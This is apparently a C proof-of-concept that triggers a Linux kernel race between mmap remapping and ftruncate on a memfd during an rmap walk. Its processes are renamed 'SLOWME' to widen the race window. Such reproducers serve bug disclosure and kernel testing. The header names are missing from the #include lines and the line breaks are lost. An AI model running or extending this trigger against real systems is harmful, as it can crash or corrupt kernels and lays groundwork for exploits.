#define _GNU_SOURCE #include #include #include #include #include #include #include #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) \ err(1, "SYSCHK(" #x ")"); \ __res; \ }) int main(void) { int fd = SYSCHK(memfd_create("foo", 0)); SYSCHK(ftruncate(fd, 0x2000)); char *map1 = SYSCHK(mmap((void*)(0x40000000-0x1000), 0x2000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED_NOREPLACE, fd, 0)); ((volatile char *)map1)[0] = 'A'; ((volatile char *)map1)[0x1000] = 'B'; char *map2 = map1 + 0x1000; SYSCHK(mmap(map2, 0x1000, PROT_READ, MAP_SHARED|MAP_FIXED, fd, 0)); ((volatile char *)map2)[0]; //SYSCHK(mprotect(map2, 0x1000, PROT_READ)); /* int pipefds[2]; SYSCHK(pipe(pipefds)); */ if (SYSCHK(fork()) == 0) { SYSCHK(munmap(map1, 0x2000)); sleep(1); SYSCHK(prctl(PR_SET_NAME, "SLOWME2")); SYSCHK(ftruncate(fd, 0x1000)); // rmap walk SYSCHK(prctl(PR_SET_NAME, "task2")); exit(0); } //system("cat /proc/$PPID/maps"); SYSCHK(prctl(PR_SET_NAME, "SLOWME1")); SYSCHK(mmap(map2, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, fd, 0x1000)); SYSCHK(prctl(PR_SET_NAME, "task1")); //system("cat /proc/$PPID/maps"); /* for (int i=0; i<8; i++) { char buf[0x1000]; memset(buf, 'A', 0x1000); SYSCHK(write(pipefds[1], buf, 0x1000)); } */ int wstatus; SYSCHK(wait(&wstatus)); return 0; }